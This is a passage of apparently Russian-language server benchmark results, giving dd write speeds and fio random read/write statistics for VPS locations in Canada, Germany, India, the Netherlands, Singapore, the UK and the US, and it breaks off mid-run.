2147483648 bytes (2.1 GB, 2.0 GiB) copied, 8.07427 s, 266 MB/s
```
**dd (Германия, Франкфурт)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.45694 s, 482 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.40443 s, 631 MB/s
```
**dd (Индия, Бангалор)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.84399 s, 755 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.98814 s, 538 MB/s
```
**dd (Нидерланды, Амстердам)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.25153 s, 505 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.97376 s, 432 MB/s
```
**dd (Сингапур)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.79863 s, 565 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.49007 s, 615 MB/s
```
**dd (Великобритания, Лондон)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.75593 s, 373 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.54156 s, 388 MB/s
```
**dd (США, Нью-Йорк)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.72736 s, 576 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.41343 s, 629 MB/s
```
**dd (США, Сан-Франциско)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.30885 s, 649 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.53563 s, 607 MB/s
```
**fio (Канада, Торонто)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28463: Sun Dec 15 16:21:05 2019
read : io=810904KB, bw=13512KB/s, iops=3378, runt= 60013msec
clat (usec): min=170, max=562215, avg=2329.21, stdev=7399.56
lat (usec): min=171, max=562216, avg=2334.20, stdev=7405.70
clat percentiles (usec):
| 1.00th=[ 245], 5.00th=[ 314], 10.00th=[ 402], 20.00th=[ 540],
| 30.00th=[ 644], 40.00th=[ 764], 50.00th=[ 924], 60.00th=[ 1160],
| 70.00th=[ 1544], 80.00th=[ 2288], 90.00th=[ 4320], 95.00th=[ 7904],
| 99.00th=[29568], 99.50th=[37632], 99.90th=[50944], 99.95th=[67072],
| 99.99th=[382976]
bw (KB /s): min= 20, max= 3280, per=12.65%, avg=1709.08, stdev=752.64
lat (usec) : 250=1.18%, 500=15.24%, 750=22.38%, 1000=14.99%
lat (msec) : 2=23.20%, 4=12.09%, 10=7.21%, 20=2.10%, 50=1.50%
lat (msec) : 100=0.07%, 250=0.02%, 500=0.01%, 750=0.01%
cpu : usr=1.30%, sys=5.68%, ctx=197641, majf=0, minf=85
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=202726/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=810904KB, aggrb=13512KB/s, minb=13512KB/s, maxb=13512KB/s, mint=60013msec, maxt=60013msec
Disk stats (read/write):
vda: ios=203045/12, merge=0/12, ticks=250920/612, in_queue=251312, util=74.66%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28501: Sun Dec 15 16:23:17 2019
write: io=6566.3MB, bw=111997KB/s, iops=27999, runt= 60036msec
clat (usec): min=2, max=508874, avg=164.65, stdev=3238.47
lat (usec): min=3, max=508875, avg=181.01, stdev=3480.05
clat percentiles (usec):
| 1.00th=[ 4], 5.00th=[ 4], 10.00th=[ 4], 20.00th=[ 4],
| 30.00th=[ 5], 40.00th=[ 5], 50.00th=[ 5], 60.00th=[ 5],
| 70.00th=[ 5], 80.00th=[ 6], 90.00th=[ 7], 95.00th=[ 8],
| 99.00th=[ 48], 99.50th=[ 7392], 99.90th=[40192], 99.95th=[55040],
| 99.99th=[117248]
bw (KB /s): min= 0, max=139593, per=14.20%, avg=15900.11, stdev=8999.85
lat (usec) : 4=0.41%, 10=95.61%, 20=2.47%, 50=0.52%, 100=0.13%
lat (usec) : 250=0.16%, 500=0.05%, 750=0.03%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.03%, 10=0.10%, 20=0.16%, 50=0.23%
lat (msec) : 100=0.05%, 250=0.01%, 500=0.01%, 750=0.01%
cpu : usr=3.51%, sys=4.83%, ctx=29270, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=1680965/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=6566.3MB, aggrb=111997KB/s, minb=111997KB/s, maxb=111997KB/s, mint=60036msec, maxt=60036msec
Disk stats (read/write):
vda: ios=653/312108, merge=0/1864, ticks=5244/3962028, in_queue=3970048, util=85.40%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28488: Sun Dec 15 16:22:17 2019
read : io=926632KB, bw=15443KB/s, iops=3860, runt= 60003msec
clat (usec): min=158, max=342030, avg=2041.48, stdev=5221.60
lat (usec): min=159, max=342031, avg=2044.90, stdev=5224.66
clat percentiles (usec):
| 1.00th=[ 247], 5.00th=[ 322], 10.00th=[ 406], 20.00th=[ 524],
| 30.00th=[ 612], 40.00th=[ 732], 50.00th=[ 868], 60.00th=[ 1080],
| 70.00th=[ 1416], 80.00th=[ 2096], 90.00th=[ 3888], 95.00th=[ 6752],
| 99.00th=[22656], 99.50th=[34048], 99.90th=[47872], 99.95th=[52992],
| 99.99th=[199680]
bw (KB /s): min= 81, max= 3704, per=12.60%, avg=1946.40, stdev=778.52
lat (usec) : 250=1.16%, 500=16.28%, 750=24.32%, 1000=15.06%
lat (msec) : 2=22.14%, 4=11.33%, 10=6.79%, 20=1.75%, 50=1.11%
lat (msec) : 100=0.05%, 250=0.01%, 500=0.01%
cpu : usr=1.31%, sys=5.34%, ctx=227680, majf=0, minf=84
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=231658/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=926632KB, aggrb=15443KB/s, minb=15443KB/s, maxb=15443KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=230719/8, merge=0/7, ticks=268276/96, in_queue=268104, util=76.22%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28524: Sun Dec 15 16:24:19 2019
write: io=124888KB, bw=2080.2KB/s, iops=520, runt= 60037msec
clat (usec): min=653, max=401729, avg=15355.31, stdev=39324.23
lat (usec): min=655, max=401731, avg=15358.38, stdev=39325.85
clat percentiles (usec):
| 1.00th=[ 764], 5.00th=[ 884], 10.00th=[ 988], 20.00th=[ 1128],
| 30.00th=[ 1288], 40.00th=[ 1448], 50.00th=[ 1640], 60.00th=[ 1848],
| 70.00th=[ 2160], 80.00th=[ 2896], 90.00th=[94720], 95.00th=[124416],
| 99.00th=[152576], 99.50th=[166912], 99.90th=[207872], 99.95th=[268288],
| 99.99th=[395264]
bw (KB /s): min= 17, max= 584, per=12.52%, avg=260.41, stdev=87.52
lat (usec) : 750=0.73%, 1000=10.17%
lat (msec) : 2=54.34%, 4=19.08%, 10=3.99%, 20=0.49%, 50=0.27%
lat (msec) : 100=1.36%, 250=9.51%, 500=0.06%
cpu : usr=0.23%, sys=0.89%, ctx=66162, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=31222/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=124888KB, aggrb=2080KB/s, minb=2080KB/s, maxb=2080KB/s, mint=60037msec, maxt=60037msec
Disk stats (read/write):
vda: ios=569/31224, merge=0/1484, ticks=648/54976, in_queue=55592, util=91.32%
```
**fio (Германия, Франкфурт)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22841: Sat Dec 14 00:06:23 2019
read : io=5529.7MB, bw=94371KB/s, iops=23592, runt= 60001msec
clat (usec): min=2, max=208020, avg=332.04, stdev=793.12
lat (usec): min=3, max=208021, avg=333.14, stdev=793.14
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 5], 10.00th=[ 187], 20.00th=[ 213],
| 30.00th=[ 229], 40.00th=[ 245], 50.00th=[ 262], 60.00th=[ 286],
| 70.00th=[ 314], 80.00th=[ 366], 90.00th=[ 490], 95.00th=[ 644],
| 99.00th=[ 2096], 99.50th=[ 2960], 99.90th=[ 4128], 99.95th=[ 4896],
| 99.99th=[10176]
bw (KB /s): min= 5640, max=19344, per=12.53%, avg=11821.28, stdev=2384.67
lat (usec) : 4=2.92%, 10=2.71%, 20=0.28%, 50=0.05%, 100=0.01%
lat (usec) : 250=36.74%, 500=47.83%, 750=5.95%, 1000=1.29%
lat (msec) : 2=1.16%, 4=0.94%, 10=0.11%, 20=0.01%, 50=0.01%
lat (msec) : 250=0.01%
cpu : usr=2.40%, sys=5.64%, ctx=1335613, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1415595/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=5529.7MB, aggrb=94371KB/s, minb=94371KB/s, maxb=94371KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1330026/16, merge=31/12, ticks=381688/32, in_queue=381284, util=98.86%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22875: Sat Dec 14 00:08:28 2019
write: io=23387MB, bw=399054KB/s, iops=99763, runt= 60013msec
clat (usec): min=2, max=347823, avg=53.51, stdev=1396.60
lat (usec): min=2, max=348279, avg=58.09, stdev=1444.65
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 4], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 5], 95.00th=[ 5],
| 99.00th=[ 13], 99.50th=[ 16], 99.90th=[16320], 99.95th=[22656],
| 99.99th=[36096]
bw (KB /s): min= 0, max=69737, per=13.03%, avg=52000.63, stdev=13148.08
lat (usec) : 4=46.65%, 10=51.87%, 20=1.04%, 50=0.08%, 100=0.02%
lat (usec) : 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.09%, 20=0.13%, 50=0.06%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=4.38%, sys=5.58%, ctx=48485, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5987113/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=23387MB, aggrb=399054KB/s, minb=399054KB/s, maxb=399054KB/s, mint=60013msec, maxt=60013msec
Disk stats (read/write):
vda: ios=269/703950, merge=0/5166, ticks=376/6209928, in_queue=6210116, util=97.19%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22862: Sat Dec 14 00:07:28 2019
read : io=5254.4MB, bw=89673KB/s, iops=22418, runt= 60001msec
clat (usec): min=128, max=189254, avg=349.55, stdev=876.11
lat (usec): min=129, max=189255, avg=350.71, stdev=876.13
clat percentiles (usec):
| 1.00th=[ 169], 5.00th=[ 187], 10.00th=[ 199], 20.00th=[ 219],
| 30.00th=[ 233], 40.00th=[ 249], 50.00th=[ 266], 60.00th=[ 290],
| 70.00th=[ 322], 80.00th=[ 374], 90.00th=[ 494], 95.00th=[ 644],
| 99.00th=[ 2064], 99.50th=[ 2992], 99.90th=[ 4192], 99.95th=[ 5472],
| 99.99th=[12992]
bw (KB /s): min= 4986, max=14872, per=12.50%, avg=11210.81, stdev=1832.67
lat (usec) : 250=40.19%, 500=50.04%, 750=6.37%, 1000=1.22%
lat (msec) : 2=1.15%, 4=0.90%, 10=0.11%, 20=0.02%, 50=0.01%
lat (msec) : 250=0.01%
cpu : usr=2.30%, sys=5.08%, ctx=1349121, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1345114/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=5254.4MB, aggrb=89672KB/s, minb=89672KB/s, maxb=89672KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1340578/8, merge=0/7, ticks=396628/20, in_queue=396256, util=99.82%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22896: Sat Dec 14 00:09:29 2019
write: io=181408KB, bw=3022.6KB/s, iops=755, runt= 60018msec
clat (usec): min=606, max=535365, avg=10574.01, stdev=38305.93
lat (usec): min=607, max=535367, avg=10575.65, stdev=38305.97
clat percentiles (usec):
| 1.00th=[ 660], 5.00th=[ 700], 10.00th=[ 732], 20.00th=[ 812],
| 30.00th=[ 900], 40.00th=[ 980], 50.00th=[ 1048], 60.00th=[ 1144],
| 70.00th=[ 1304], 80.00th=[ 1624], 90.00th=[ 3152], 95.00th=[123392],
| 99.00th=[183296], 99.50th=[218112], 99.90th=[305152], 99.95th=[358400],
| 99.99th=[460800]
bw (KB /s): min= 14, max= 736, per=12.61%, avg=381.11, stdev=155.64
lat (usec) : 750=12.63%, 1000=30.54%
lat (msec) : 2=41.81%, 4=6.44%, 10=2.36%, 20=0.17%, 50=0.04%
lat (msec) : 100=0.01%, 250=5.74%, 500=0.26%, 750=0.01%
cpu : usr=0.15%, sys=0.62%, ctx=93571, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=45352/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=181408KB, aggrb=3022KB/s, minb=3022KB/s, maxb=3022KB/s, mint=60018msec, maxt=60018msec
Disk stats (read/write):
vda: ios=254/45392, merge=0/1838, ticks=272/56992, in_queue=57236, util=94.58%
```
**fio (Индия, Бангалор)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16212: Sun Dec 15 19:21:57 2019
read : io=6139.3MB, bw=104771KB/s, iops=26192, runt= 60003msec
clat (usec): min=2, max=168209, avg=297.31, stdev=431.72
lat (usec): min=3, max=168210, avg=298.56, stdev=431.78
clat percentiles (usec):
| 1.00th=[ 4], 5.00th=[ 5], 10.00th=[ 189], 20.00th=[ 213],
| 30.00th=[ 229], 40.00th=[ 245], 50.00th=[ 262], 60.00th=[ 282],
| 70.00th=[ 310], 80.00th=[ 354], 90.00th=[ 442], 95.00th=[ 540],
| 99.00th=[ 980], 99.50th=[ 1592], 99.90th=[ 3504], 99.95th=[ 4128],
| 99.99th=[ 6752]
bw (KB /s): min= 9088, max=17808, per=12.49%, avg=13085.74, stdev=1494.25
lat (usec) : 4=0.94%, 10=5.00%, 20=0.42%, 50=0.14%, 100=0.01%
lat (usec) : 250=37.12%, 500=49.91%, 750=4.81%, 1000=0.69%
lat (msec) : 2=0.60%, 4=0.30%, 10=0.05%, 20=0.01%, 50=0.01%
lat (msec) : 250=0.01%
cpu : usr=3.02%, sys=7.08%, ctx=1475390, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1571645/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6139.3MB, aggrb=104771KB/s, minb=104771KB/s, maxb=104771KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=1464677/18, merge=0/9, ticks=324452/40, in_queue=324132, util=97.85%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16261: Sun Dec 15 19:24:02 2019
write: io=18895MB, bw=322434KB/s, iops=80608, runt= 60009msec
clat (usec): min=2, max=242956, avg=66.55, stdev=1165.23
lat (usec): min=2, max=242958, avg=72.17, stdev=1229.79
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 4], 20.00th=[ 4],
| 30.00th=[ 4], 40.00th=[ 4], 50.00th=[ 5], 60.00th=[ 5],
| 70.00th=[ 5], 80.00th=[ 5], 90.00th=[ 6], 95.00th=[ 6],
| 99.00th=[ 16], 99.50th=[ 159], 99.90th=[18304], 99.95th=[23424],
| 99.99th=[36096]
bw (KB /s): min= 0, max=63440, per=12.78%, avg=41198.18, stdev=6458.96
lat (usec) : 4=8.56%, 10=89.24%, 20=1.36%, 50=0.29%, 100=0.03%
lat (usec) : 250=0.02%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.04%, 10=0.15%, 20=0.19%, 50=0.07%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.18%, sys=5.82%, ctx=54734, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=4837234/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=18895MB, aggrb=322433KB/s, minb=322433KB/s, maxb=322433KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
vda: ios=689/1218295, merge=0/4077, ticks=448/5951228, in_queue=5952404, util=90.57%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16234: Sun Dec 15 19:23:02 2019
read : io=6596.6MB, bw=112569KB/s, iops=28142, runt= 60002msec
clat (usec): min=121, max=184890, avg=276.48, stdev=539.90
lat (usec): min=123, max=184891, avg=277.66, stdev=539.94
clat percentiles (usec):
| 1.00th=[ 169], 5.00th=[ 185], 10.00th=[ 197], 20.00th=[ 213],
| 30.00th=[ 225], 40.00th=[ 237], 50.00th=[ 251], 60.00th=[ 266],
| 70.00th=[ 278], 80.00th=[ 306], 90.00th=[ 366], 95.00th=[ 442],
| 99.00th=[ 660], 99.50th=[ 868], 99.90th=[ 1832], 99.95th=[ 2224],
| 99.99th=[ 3632]
bw (KB /s): min= 9216, max=15784, per=12.51%, avg=14079.06, stdev=854.30
lat (usec) : 250=49.89%, 500=47.05%, 750=2.39%, 1000=0.27%
lat (msec) : 2=0.32%, 4=0.07%, 10=0.01%, 20=0.01%, 250=0.01%
cpu : usr=3.13%, sys=6.76%, ctx=1693666, majf=0, minf=68
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1688590/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6596.6MB, aggrb=112568KB/s, minb=112568KB/s, maxb=112568KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1684306/17, merge=0/12, ticks=354396/0, in_queue=354000, util=99.71%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16285: Sun Dec 15 19:25:03 2019
write: io=254516KB, bw=4240.1KB/s, iops=1060, runt= 60014msec
clat (usec): min=600, max=238513, avg=7533.21, stdev=25823.98
lat (usec): min=601, max=238514, avg=7534.78, stdev=25824.02
clat percentiles (usec):
| 1.00th=[ 644], 5.00th=[ 668], 10.00th=[ 684], 20.00th=[ 708],
| 30.00th=[ 732], 40.00th=[ 764], 50.00th=[ 844], 60.00th=[ 940],
| 70.00th=[ 1004], 80.00th=[ 1096], 90.00th=[ 1608], 95.00th=[98816],
| 99.00th=[114176], 99.50th=[120320], 99.90th=[150528], 99.95th=[179200],
| 99.99th=[211968]
bw (KB /s): min= 161, max= 944, per=12.61%, avg=534.54, stdev=151.72
lat (usec) : 750=36.66%, 1000=32.68%
lat (msec) : 2=22.13%, 4=2.00%, 10=0.26%, 20=0.03%, 50=0.01%
lat (msec) : 100=1.48%, 250=4.75%
cpu : usr=0.22%, sys=0.89%, ctx=131469, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=63629/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
